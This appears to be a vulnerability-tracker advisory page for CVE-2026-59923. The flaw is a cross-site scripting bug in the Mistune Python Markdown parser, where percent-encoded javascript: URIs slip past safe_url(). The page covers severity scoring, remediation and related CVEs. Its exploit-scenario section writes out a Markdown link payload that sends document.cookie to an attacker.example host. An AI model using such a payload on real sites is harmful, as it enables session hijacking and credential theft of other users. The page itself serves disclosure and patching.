Skip to main content

Mistune EUVDEUVD-2026-42331

| CVE-2026-59923 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-08 GitHub_M GHSA-8c25-4j27-2rv3 PYSEC-2026-2211
6.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft percent-encoded javascript: URI in Markdown
  2. Delivery
    Submit malicious link or image to target application
  3. Exploit
    Application renders Markdown via Mistune HTMLRenderer
  4. Install
    safe_url() passes encoded scheme unchecked
  5. C2
    Rendered HTML delivered to victim's browser
  6. Execute
    Victim clicks link or loads image
  7. Impact
    Browser normalizes encoding and executes script

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application uses Mistune's HTMLRenderer to render attacker-influenced Markdown and serves the resulting HTML to other users' browsers. The attacker must be able to supply Markdown content containing links ([text](URL)) or images (![alt](URL)) - functionality that is on by default in Mistune's HTMLRenderer. User interaction is required: the victim must click the malicious link or load an image whose src triggers the javascript: URI. Exploitation is limited to web contexts where the rendered HTML is delivered to a browser; server-side-only Markdown processing with no HTML output to users is not affected. Authentication requirements on the attacker's side are not confirmed from available CVSS data (PR:N), meaning no attacker privilege is required to submit the payload, though the application's own access controls on who can post content may serve as a practical barrier.

Impact

The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N yields a 6.1 Medium score, which accurately reflects the attack surface: network-reachable with no privileges required and low complexity, but gated on user interaction (UI:R). The Scope:Changed metric is significant - successful exploitation affects the victim's browser session rather than the server, enabling session hijacking, credential theft, or malicious redirects. EPSS data was not provided in the input; given the Medium CVSS and absence of KEV listing, widespread automated exploitation is unlikely but targeted abuse in applications rendering untrusted Markdown is plausible. No POC has been confirmed in the input data, though the bypass technique (percent-encoding) is well-understood and trivially reproducible by anyone familiar with URL encoding. The realistic risk is highest for web platforms - wikis, documentation tools, comment systems, or note-taking apps - built on Python stacks that accept user-supplied Markdown. Applications that render Markdown server-side but never serve the output to other users are not affected.

Exploit ScenarioDerived

An attacker submits a Markdown comment on a web platform using Mistune, embedding a crafted link such as [click here](%6Aavascript:document.location='https://attacker.example/steal?c='+document.cookie). Mistune's safe_url() passes the percent-encoded scheme without blocking it, and the rendered HTML contains a javascript: href. When another authenticated user views the comment and clicks the link, their browser normalizes the percent-encoding, executes the script, and exfiltrates session cookies to the attacker's server.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 08, 2026

Cross-site scripting in Mistune Python Markdown parser (all versions before 3.3.0) allows attacker-controlled Markdown content containing percent-encoded javascript: URIs to bypass the HTMLRenderer.safe_url() URL sanitization filter and execute arbitrary script in victim browsers. The bypass works because safe_url() checks the raw string without first decoding percent-encoded characters, so schemes like %6Aavascript: or %6aVaScRiPt: evade detection while remaining valid to browsers. Any web application that renders user-supplied or attacker-influenced Markdown through Mistune and serves the output to other users is exposed. No public exploit or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade Mistune to version 3.3.0, which is the vendor-released patch per the GitHub release at https://github.com/lepture/mistune/releases/tag/v3.3.0 and the corresponding fix commit at https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc. If an immediate upgrade is not possible, the primary compensating control is to apply a secondary URL sanitization step after Mistune rendering - either via a dedicated HTML sanitization library (such as bleach or nh3 for Python) that explicitly allowlists safe URL schemes after percent-decoding, or by stripping anchor href and image src attributes from rendered output entirely when user-supplied content is involved. Note that disabling Mistune's built-in safe_url() check without replacement provides no protection. Wrapping the rendered HTML in a sandboxed iframe (sandbox attribute without allow-scripts) limits script execution but constrains page functionality and does not address the underlying issue.

Affected VersionsENISA

mistune < 3.3.0

Affected Packages

pypi mistune fix: 3.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Mistune (CPE: cpe:2.3:a:lepture:mistune:*:*:*:*:*:*:*:*) is a widely-used Python Markdown parsing library that supports rendering to HTML with optional sanitization features. Its HTMLRenderer class includes a safe_url() method intended to reject dangerous URL schemes, particularly javascript:, before including them in rendered anchor tags and image src attributes. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is that safe_url() performs scheme detection on the literal input string without first applying percent-decoding. RFC 3986 percent-encoding is fully normalized by browsers before URL scheme dispatch, so %6A or any case-variant encoding of the letter 'j' suffices to produce a valid javascript: URI that browsers will execute while the raw string passes Mistune's allowlist check. This class of bypass has appeared repeatedly in URL sanitizers that operate pre-decode.

Know when Mistune gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-reachable with no privileges; UI:R because victim must interact with link; S:C because script executes in victim browser context separate from server.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE 5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Red Hat 6.1 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jul 08, 2026 - 18:02 EUVD

DescriptionCVE.org

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, HTMLRenderer.safe_url() does not block percent-encoded javascript URIs, allowing attacker-supplied Markdown links or images to bypass URL protections and execute script in rendered HTML. This issue is fixed in version 3.3.0.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on mistune (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.3.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Medium
Popular Python Markdown library, common in Python web applications
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-49851 HIGH POC
8.7 Jun 24

Uncontrolled CPU consumption in Mistune, a Python Markdown parser, allows remote unauthenticated attackers to cause deni

CVE-2026-59928 HIGH POC
7.5 Jul 08

Denial of service in Mistune (the lepture Python Markdown parser) before 3.3.0 lets remote unauthenticated attackers exh

CVE-2026-59922 HIGH POC
7.5 Jul 08

Denial of service in Mistune, a Python Markdown parser, affects all versions prior to 3.3.0 when the strikethrough, mark

CVE-2026-59925 HIGH POC
7.5 Jul 08

Denial of service in Mistune, a widely used pure-Python Markdown parser, affects all versions prior to 3.3.0 where the d

CVE-2026-59929 MEDIUM POC
6.1 Jul 08

Cross-site scripting in Mistune prior to 3.3.0 stems from an incomplete URI scheme blocklist in the `safe_url` filter, p

CVE-2017-15612 MEDIUM POC
6.1 Oct 19

mistune.py in Mistune 0.7.4 allows XSS via an unexpected newline (such as in java\nscript:) or a crafted email address,

CVE-2026-59924 MEDIUM POC
5.9 Jul 08

Path traversal in Mistune's Include plugin allows reading arbitrary files from the server filesystem when processing att

CVE-2026-59927 MEDIUM POC
5.3 Jul 08

Unbounded recursion in Mistune's Include directive (all versions prior to 3.3.0) can be triggered by a pair of mutually-

CVE-2026-115347 HIGH
8.7 Oct 22

Quadratic denial of service in Mistune's Markdown parser (parse_link_text) affects versions 3.2.0, 3.2.1 and main prior

CVE-2026-121437 HIGH
8.7 Nov 03

Denial of service in Mistune 3.3.0 through 3.3.3 allows unauthenticated remote attackers to exhaust CPU and stall reques

CVE-2026-59930 MEDIUM POC
4.3 Jul 08

Predictable heading anchor ID generation in Mistune's toc plugin (all versions prior to 3.3.0) enables same-page navigat

CVE-2022-34749 HIGH
7.5 Jul 25

In mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high a

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.0 SUSE Linux Enterprise Server for SAP applications 16.0 Fixed
openSUSE Leap 16.0 Fixed
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Package Hub 15 SP7 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy